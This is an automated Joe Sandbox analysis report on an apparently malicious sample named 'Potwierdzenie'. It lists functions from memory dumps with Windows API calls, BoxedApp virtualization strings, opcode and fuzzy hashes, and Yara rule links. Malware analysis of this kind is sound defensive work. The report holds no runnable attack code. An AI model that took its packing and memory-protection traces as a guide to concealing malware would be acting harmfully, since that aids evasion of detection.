Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff804e4f3bd53bb4aa94926468eada4a2dbdaa7c312aae42ce1e18d2bfcac101
Instruction ID: 3e23413d824bb0419af5bfb851affd8dda9fc35cd06365c4349228ab8ef14b26
Opcode Fuzzy Hash: ff804e4f3bd53bb4aa94926468eada4a2dbdaa7c312aae42ce1e18d2bfcac101
Instruction Fuzzy Hash: 6E81B370D207159FDB24EFA5C885BAFB7B9AF44704F00442CF95AD7250EB30AA45DBA0

Function 0BC91AD0 Relevance: 16.6, APIs: 11, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c0182c26693bb4ac348513f8b144536b4621fbaccc6136fa2c40229ed8686ad
Instruction ID: 06b18e2909e697f335fb43862ea33f7e2ca5c8c96191353c4af100529c6eb295
Opcode Fuzzy Hash: 9c0182c26693bb4ac348513f8b144536b4621fbaccc6136fa2c40229ed8686ad
Instruction Fuzzy Hash: 8131C971921221BFDF21EF65CC86F7FB77DAF81A60F080558A909B6250EF709A01D6A0

Function 0BC48490 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 258COMMON

Download Yara Rule

APIs

Part of subcall function 0BC380F0: ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,00000004,-00000008,?,0BC32A79,?,?,?,?,000000FF,?,?), ref: 0BC3815D

ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,?), ref: 0BC4862B
GetCurrentProcess.KERNEL32(?), ref: 0BC4870F

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC485F0

Part of subcall function 0BBFE3C0: wsprintfA.USER32 ref: 0BBFE3ED
Part of subcall function 0BBFE3C0: memcpy.NTDLL(00000000,00000000,00000001,00000000,00000100), ref: 0BBFE440

Part of subcall function 0BC6F4A0: GetLocalTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC6F4DF
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,bx:,00000000,?), ref: 0BC6F51B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F537
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F58B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F5A1

Part of subcall function 0BC72C40: memcpy.NTDLL(00000000,75BF8400,00000000,75BF8400,?,75BF8400,?,?,0BC6F54B,?), ref: 0BC72CA8

Part of subcall function 0BBFF510: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,?,0BBF2FC0,00000000,layer/sandbox,BoxedApp::ApiLayer::CAutoForceWriteCopyMode::Init,: TlsAlloc() failed, GetLastError() = ,00000000,0BCCD818), ref: 0BBFF558

Part of subcall function 0BC729E0: memcpy.NTDLL(00000000,0BCCD818,00000000,0000000A,00000000,00000000,?,00000000,0BCCD818), ref: 0BC72A20
Part of subcall function 0BC729E0: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0BC72A58

Strings

core, xrefs: 0BC4852F, 0BC48655, 0BC486B5, 0BC48765
: found pFileMemView for , xrefs: 0BC48525
BoxedApp::FileSystem::CFileSystem::NtUnmapViewOfSectionInternal, xrefs: 0BC4852A, 0BC48650, 0BC486B0, 0BC48760
: not found pFileMemView for , xrefs: 0BC4875B
: m_mapAllocatedViews.RemoveByKey returned , xrefs: 0BC4864B
: going to unmap , xrefs: 0BC486AB

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$ReleaseSemaphore$wsprintf$CurrentFileFreeHeapLocalProcessTimeWrite
String ID: : found pFileMemView for $: going to unmap $: m_mapAllocatedViews.RemoveByKey returned $: not found pFileMemView for $BoxedApp::FileSystem::CFileSystem::NtUnmapViewOfSectionInternal$core
API String ID: 1413213915-1840284793
Opcode ID: 493b79ff219b156592c04ae21fe671e8ca12f30b17d334bbbeefc1e88a35f934
Instruction ID: 6601f565a6a49edcdd72bc773030d10f3261e87a25122a8b5a61a6db89977955
Opcode Fuzzy Hash: 493b79ff219b156592c04ae21fe671e8ca12f30b17d334bbbeefc1e88a35f934
Instruction Fuzzy Hash: 70918331A602059FDF04EF64D899FAE77B4EF54710F0440B9E912AB291EF34EA05DBA0

Function 0BCBEDB0 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000105,?,00000000), ref: 0BCBEDDB
GetLastError.KERNEL32 ref: 0BCBEDE9

Part of subcall function 0BC6F4A0: GetLocalTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC6F4DF
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,bx:,00000000,?), ref: 0BC6F51B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F537
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F58B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F5A1

Part of subcall function 0BBFF510: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,?,0BBF2FC0,00000000,layer/sandbox,BoxedApp::ApiLayer::CAutoForceWriteCopyMode::Init,: TlsAlloc() failed, GetLastError() = ,00000000,0BCCD818), ref: 0BBFF558

Part of subcall function 0BC72C00: wsprintfA.USER32 ref: 0BC72C1B

Part of subcall function 0BC72C40: memcpy.NTDLL(00000000,75BF8400,00000000,75BF8400,?,75BF8400,?,?,0BC6F54B,?), ref: 0BC72CA8

Part of subcall function 0BC729E0: memcpy.NTDLL(00000000,0BCCD818,00000000,0000000A,00000000,00000000,?,00000000,0BCCD818), ref: 0BC72A20
Part of subcall function 0BC729E0: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0BC72A58

memcpy.NTDLL(00000000,?,-00000002,00000000,00000000,?), ref: 0BCBEEE4
memcpy.NTDLL(00000000,00000000,?,?,?,?,?,?,?,?), ref: 0BCBEF3B
memcpy.NTDLL(?,0BCCE4D4,61570000,?,?,?,?,?,?), ref: 0BCBEF65
memcpy.NTDLL(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0BCBEFC0
memcpy.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0BCBEFEE

Strings

core, xrefs: 0BCBEE0E
GetTempPathW() failed: GetLastError() = , xrefs: 0BCBEE09

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$wsprintf$ErrorFileLastLocalPathTempTimeWrite
String ID: GetTempPathW() failed: GetLastError() = $core
API String ID: 1603826531-1064129424
Opcode ID: 9053f3b0c2af435e256f0d9b31f43b65dd070a561a2f5151215baf1c39f344d7
Instruction ID: 6eb37cafd480ae7f8d1a6d2b680daa4868abe57408abddd4f2f1679bf3adc44e
Opcode Fuzzy Hash: 9053f3b0c2af435e256f0d9b31f43b65dd070a561a2f5151215baf1c39f344d7
Instruction Fuzzy Hash: D961A171D6121AAFDB14EB64D846BEFB7A8FF44300F444479D40ADB240EB34AA04DBE1

Function 0BC16270 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 99memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0BC162A7
GetLastError.KERNEL32 ref: 0BC162B1
VirtualProtect.KERNEL32(?,00000080,?), ref: 0BC1630D
GetLastError.KERNEL32 ref: 0BC16317

Strings

core, xrefs: 0BC1636C
: warn: can't decide what protection to apply, current protection is , xrefs: 0BC16362
BoxedApp::CBoxedAppCore::OnVectoredExceptionHandler, xrefs: 0BC16367
: error: VirtualProtect() failed, GetLastError() = , xrefs: 0BC16337
: error: VirtualQuery() failed, GetLastError() = , xrefs: 0BC162D5

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ErrorLastVirtual$ProtectQuery
String ID: : error: VirtualProtect() failed, GetLastError() = $: error: VirtualQuery() failed, GetLastError() = $: warn: can't decide what protection to apply, current protection is $BoxedApp::CBoxedAppCore::OnVectoredExceptionHandler$core
API String ID: 1237441440-4024004157
Opcode ID: e5d8563ecc888dfd56df1e713d0ab29c91c4aa3741c550ad09f1b77dcf7b9e53
Instruction ID: ed716333e8cef8e6174d0709ece0f1fd01d9d00e452debaff215096a1a1a7cc2
Opcode Fuzzy Hash: e5d8563ecc888dfd56df1e713d0ab29c91c4aa3741c550ad09f1b77dcf7b9e53
Instruction Fuzzy Hash: 3F3137317602029FDB149B68D809FBA77E8EF56611F408579E802F7250EE30EE04D7A1

Function 0BC5E7F0 Relevance: 15.3, APIs: 9, Strings: 1, Instructions: 324COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000), ref: 0BC5E949
CloseHandle.KERNEL32(00000000), ref: 0BC5E95A
CloseHandle.KERNEL32(00000000), ref: 0BC5EA20
CloseHandle.KERNEL32(00000000), ref: 0BC5EA46
CloseHandle.KERNEL32(00000000), ref: 0BC5EA6B
CloseHandle.KERNEL32(00000000), ref: 0BC5EA85
CloseHandle.KERNEL32(00000000), ref: 0BC5EB76
CloseHandle.KERNEL32(00000000), ref: 0BC5EB87
CloseHandle.KERNEL32(00000000), ref: 0BC5EB9E

Strings

.deleted, xrefs: 0BC5E9AD, 0BC5EB1C

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CloseHandle
String ID: .deleted
API String ID: 2962429428-4287184448
Opcode ID: f0b4391798e3cd6e4033d2f8e8d4b0b1ea211ac6a0529a4ada7fec4e03b7efe9
Instruction ID: 9695b28f322bd36fb548521cff07e8c5b2712579600699ecb5e989805cd41a21
Opcode Fuzzy Hash: f0b4391798e3cd6e4033d2f8e8d4b0b1ea211ac6a0529a4ada7fec4e03b7efe9
Instruction Fuzzy Hash: D5B1723166020AEBDF14DAB5CC95FAE73A9AB44714F104164FD25EB2C0DB70EB41CBA8

Function 0BCB0AD0 Relevance: 15.2, APIs: 10, Instructions: 187COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0BCB0B19

Part of subcall function 0BCBA660: GetCurrentThreadId.KERNEL32 ref: 0BCBA693

GetCurrentProcessId.KERNEL32(00000000,00000000), ref: 0BCB0B35

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Current$Process$Thread
String ID:
API String ID: 3242834020-0
Opcode ID: 9488e8f6f7f0a8f4d9e70971993eb2c04a94a858a9b2c967e26df49a48a2f940
Instruction ID: eb53e4fd3604e2c69c1560d91feac2cfe99e0b1e655729fa7c73706ea366c707
Opcode Fuzzy Hash: 9488e8f6f7f0a8f4d9e70971993eb2c04a94a858a9b2c967e26df49a48a2f940
Instruction Fuzzy Hash: D8616AB0911705EFCB20DFA5C888EAFB7F8BF48744F144559E9569B210DB70EA04CBA1

Function 0BCB2250 Relevance: 15.2, APIs: 10, Instructions: 187COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0BCB2299

Part of subcall function 0BCBA660: GetCurrentThreadId.KERNEL32 ref: 0BCBA693

GetCurrentProcessId.KERNEL32(00000000,00000000), ref: 0BCB22B5

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Current$Process$Thread
String ID:
API String ID: 3242834020-0
Opcode ID: 2409b9a5d7094b95dc1636d268b772638e10c147bf7dc702756104c3e9ae30a6
Instruction ID: cfbacec8129e6e2b84f4bd95e118b2ed25862c0ae2a1e7ac86a8777b47436813
Opcode Fuzzy Hash: 2409b9a5d7094b95dc1636d268b772638e10c147bf7dc702756104c3e9ae30a6
Instruction Fuzzy Hash: F8615AB1921215AFCB20DFA5C884FAFBBF8BF48754F144558E956DB210DB74EA048BA0

Function 0BCAE6C0 Relevance: 15.2, APIs: 10, Instructions: 187COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0BCAE709
GetCurrentProcessId.KERNEL32(00000000,00000000), ref: 0BCAE725

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentProcess
String ID:
API String ID: 2050909247-0
Opcode ID: 8eb75b5c1271a5a2e41c9f7d29a387bc662e07f588e1acd19964ffee672b6e6e
Instruction ID: b3f29824b5cce65cf6251f038eddeb2203b7f56920416eda28d7fcfad0928396
Opcode Fuzzy Hash: 8eb75b5c1271a5a2e41c9f7d29a387bc662e07f588e1acd19964ffee672b6e6e
Instruction Fuzzy Hash: 78615BB0911706EFDB20DFA9C888B6BB7F8BF48748F144558E856DB210D774EA05CBA0

Function 0BC18500 Relevance: 15.2, APIs: 10, Instructions: 183COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(0010047A,00000000,?), ref: 0BC18529
CloseHandle.KERNEL32(00000000,00000000), ref: 0BC1856A
CloseHandle.KERNEL32(00000000,00000000), ref: 0BC18646

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CloseHandle$OpenProcess
String ID:
API String ID: 781224154-0
Opcode ID: 6718b98aaa0d9cfd1033a5cc93e78f2d918fcfedff87e22b69b11b663fab00ac
Instruction ID: 285a0f1db8b5d1e06b6c6e94bc98d1fbe0cd03c9ae4b5efcedd3155faab8beaf
Opcode Fuzzy Hash: 6718b98aaa0d9cfd1033a5cc93e78f2d918fcfedff87e22b69b11b663fab00ac
Instruction Fuzzy Hash: 2751D171E162159FDB14DFA5C844BBFBBB8EF45750F044569E909FB240EB30DA019BA0

Function 0BCAE930 Relevance: 15.2, APIs: 10, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c55eb16c57d56de3795d0facbbe2b0cc312d789d08f29747dc5863e034e135e4
Instruction ID: a5e29d9532be280d936195f9f1f33aed718c601fb2950e4d0551ba5700798fc1
Opcode Fuzzy Hash: c55eb16c57d56de3795d0facbbe2b0cc312d789d08f29747dc5863e034e135e4
Instruction Fuzzy Hash: A7514F75E21217EFDB14DFA5C885BAEBBB9FF88744F144069E914A7200E731DA05CBA0

Function 0BCAEE80 Relevance: 15.2, APIs: 10, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e8569cc3bce094856f272b59cca5cbd21801e012fdead4d596237d8a09e3076
Instruction ID: 7632c3aaaa1bece8686d3f650d9b88fa238fe75276c693b8b512703f17329955
Opcode Fuzzy Hash: 7e8569cc3bce094856f272b59cca5cbd21801e012fdead4d596237d8a09e3076
Instruction Fuzzy Hash: 47515E75E21216AFDB14DFA9CC84B6BB7B9EF88708F14406DE914E7341E731DA018BA0

Function 0BCAECD0 Relevance: 15.2, APIs: 10, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c2b924158c73a1541e77832a32677e626b37292250e6b893a7e560f98d0d08e
Instruction ID: 1f447837fed40c2480b7a24741f6a67c8a8a95022d99846f67c47ca66f73c95f
Opcode Fuzzy Hash: 1c2b924158c73a1541e77832a32677e626b37292250e6b893a7e560f98d0d08e
Instruction Fuzzy Hash: E3519175E212179FDB14DF65C884FABB7B9EF88708F24416DE918A7300E731DA058BA0

Function 0BCAEB20 Relevance: 15.2, APIs: 10, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a0011f368b310429376e210c944b7b2257d9d6dc877da59ba3b2a8e17c1db61
Instruction ID: b7c126ae15f155650922a5f360031a5ff854fed522265351b6d4ce7afd1bb090
Opcode Fuzzy Hash: 8a0011f368b310429376e210c944b7b2257d9d6dc877da59ba3b2a8e17c1db61
Instruction Fuzzy Hash: CD518EB5E212079FDB14EF65C884F7BB7B9BF88608F24406DE915A7341E731DA018BA0

Function 0BCB2960 Relevance: 15.1, APIs: 10, Instructions: 104COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,?,00000000,00000000,?,00000000,?,00000000,?,00000000,?,00000000,?,00000000), ref: 0BCB2A21

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentProcess
String ID:
API String ID: 2050909247-0
Opcode ID: 947908a77e5583c8aef2b50d6f949e13805d3c95cd80f1403bde8fecb9bb552d
Instruction ID: 8fec3fa2382911478b0201b2c20d78a385ef193a86e0a0f29a597055c05b191d
Opcode Fuzzy Hash: 947908a77e5583c8aef2b50d6f949e13805d3c95cd80f1403bde8fecb9bb552d
Instruction Fuzzy Hash: 7231B971D212246FC721AFA5CC45FFFBEB8EF85A90F04011DE919AB150DB34590596A4

Function 0BC04290 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 142filelibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 0BCC4420: GetModuleFileNameW.KERNEL32(?,00000000,00000001,00000000,0BBF0000,?,00000000), ref: 0BCC443F
Part of subcall function 0BCC4420: GetModuleFileNameW.KERNEL32(00000000,00000000,00000100), ref: 0BCC4491

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0BC042CB
GetFileSize.KERNEL32(00000000,00000000), ref: 0BC042E7
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0BC0430D
memcpy.NTDLL(?,VirtualDllWithSameImport.dll,?), ref: 0BC04376
memcpy.NTDLL(?,0BCCEB4C,00000001), ref: 0BC043D9
LoadLibraryW.KERNEL32(0BCD2600), ref: 0BC043F2
